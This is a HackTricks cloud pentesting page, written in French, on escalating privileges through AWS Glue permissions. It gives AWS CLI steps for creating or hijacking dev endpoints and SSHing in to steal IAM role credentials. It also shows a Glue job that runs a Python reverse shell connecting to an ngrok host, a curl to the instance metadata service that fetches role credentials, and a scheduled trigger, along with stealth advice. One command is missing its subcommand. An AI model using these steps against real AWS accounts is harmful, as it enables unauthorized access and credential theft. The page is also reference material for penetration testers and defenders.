AWS - Glue Privesc

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs ayant ces autorisations peuvent configurer un nouveau point de terminaison de développement AWS Glue, en assignant un rôle de service existant pouvant être assumé par Glue avec des autorisations spécifiques à ce point de terminaison.

Après la configuration, l'attaquant peut SSH dans l'instance du point de terminaison, et voler les identifiants IAM du rôle assigné :

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Pour des raisons de discrétion, il est recommandé d'utiliser les identifiants IAM depuis l'intérieur de la machine virtuelle Glue.

Impact potentiel : Privesc au rôle de service Glue spécifié.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs ayant cette autorisation peuvent modifier la clé SSH d'un point de terminaison de développement Glue existant, permettant l'accès SSH à celui-ci. Cela permet à l'attaquant d'exécuter des commandes avec les privilèges du rôle attaché au point de terminaison :

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Impact potentiel : Privesc au rôle de service glue utilisé.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Les utilisateurs avec iam:PassRole combiné avec soit glue:CreateJob ou glue:UpdateJob, et soit glue:StartJobRun ou glue:CreateTrigger peuvent créer ou mettre à jour un job AWS Glue, en attachant n'importe quel compte de service Glue, et initier l'exécution du job. Les capacités du job incluent l'exécution de code Python arbitraire, qui peut être exploité pour établir un shell inversé. Ce shell inversé peut ensuite être utilisé pour exfiltrer les identifiants IAM du rôle attaché au job Glue, conduisant à un accès ou des actions non autorisées potentielles basées sur les permissions de ce rôle :

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impact potentiel : Privesc au rôle de service glue spécifié.

glue:UpdateJob

Juste avec la permission de mise à jour, un attaquant pourrait voler les identifiants IAM du rôle déjà attaché.

Impact potentiel : Privesc au rôle de service glue attaché.

Références

Soutenir HackTricks

Last updated